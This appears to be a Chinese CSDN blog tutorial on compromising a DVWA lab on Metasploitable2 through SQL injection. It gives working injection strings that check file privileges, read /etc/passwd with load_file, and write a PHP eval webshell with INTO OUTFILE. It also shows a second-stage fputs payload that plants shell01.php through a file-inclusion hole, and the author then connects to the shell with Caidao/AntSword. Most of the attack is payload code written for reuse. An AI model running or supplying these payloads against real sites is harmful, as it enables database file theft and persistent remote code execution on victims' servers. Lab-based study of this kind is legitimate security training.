SQL注入一句话木马(load_file/out file)

工具

靶机——metasploitable2
环境——DVWA,(low等级下)
菜刀——蚁剑

权限查看

查看mysql是否有对函数load_file(),outfile()函数的限制
(securefilepriv的值是否为NULL)

show global variables like '%secure%';
NULL 表示不可用, 空 表示可用

在这里插入图片描述

' order by 2--   查看字段数
' union all select database(),user()--   查看当前数据库和用户

查看当前用户是否有文件读写的权限:
1' and (select File_priv from mysql.user where user='root' and host='localhost')='Y'-- 
1' and (select File_priv from mysql.user where user='root' and host='%')='Y'-- 
//注: 我在metasploitable2 的数据库里查了 root@ 后面接的的是 % ,
但是从浏览器上查的是localhost 具体原因我也不清楚
如果遇到的话,就两个都试一遍。

不清楚如何手工注入的可以点击下面的链接看看!
SQL注入原理一
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现当前用户拥有对文件读写的权限

load_file / into out file

load_file()
条件:

  • 知道文件的绝对路径
  • 能使用union
  • 对web目录有读权限

如果有过滤单引号,则可以将函数中的路径进行hex或者char编码

1' union select load_file('/etc/passwd'),2-- 
如果有过滤  '  :
1' union select load_file(\'/etc/passwd\'),2-- 
也可以16进制编码,或者转成 ASCII码 
编码解决!16进制(用编码即不用单引号)

在这里插入图片描述
into outfile()
条件:

  • 要有file_priv权限
  • 知道网站的绝对路径
  • 对web有写的权限
  • 没有过滤单引号
写入部分有单引号记得 转译 \
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.php'-- 
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.txt'-- 
(明明有读写的权限,但是无法写入 /var/www/ 这个目录下,
 可以写入 /tmp/ ,但是这样就连不上菜刀了,弄了一晚上没弄明白……
然后就是不加路径,直接传,可以传,但不知道传哪去了,这就尴尬)
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/shell.php'-- 
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile 'shell.php'#
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/vulnerabilities/sqli/shell.php'-- 
(3个都不行)
存在过滤的时候:
如果写入的信息带有单引号 ,可以hex 编码,或者转成 ASCII码 

尝试写入 /tmp 目录下,虽然会报这个警告,但是文件是已经写入进去了!
由于网页只对 /var/www/ 目录下有读取权限,所以无法使用菜刀连接了!
在这里插入图片描述
在这里插入图片描述
但是在DVWA里有文件包含漏洞,所以可以本地包含一个文件

构造木马: /tmp/shell.txt
' union select  '<?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?>',2 into outfile '/tmp/shell.txt'-- 
这串代码的意思是:
将 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 写入 /tmp/shell.txt 
然后通过 文件包含 运行 shell.txt 里的 php 代码,
而 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 这串代码的意思是:
在文件包含那个目录( /var/www/dvwa//vulnerabilities/fi)创建 shell01.php 文件,
并写入 <?php @eval($_POST[caidao]);?> 这串代码

菜刀连接的链接:http://192.168.47.133/dvwa/vulnerabilities/fi/shell01.php

可以参考-文件包含漏洞
第一步: 将代码写入 /tmp/shell.txt
在这里插入图片描述
发现成功写入!
在这里插入图片描述
第二步: 远程包含 /tmp/shell.txt
发现成功执行!
在这里插入图片描述
在这里插入图片描述
第三步: 使用菜刀连接
在这里插入图片描述
在这里插入图片描述
至此手工 SQL注入木马 就结束了!
另外:如果有哪位同学也遇到了上面有权限但无法写入 /var/www的情况,如果知道原因还请告解!谢谢!

  • 2
    点赞
  • 0
    评论
  • 18
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值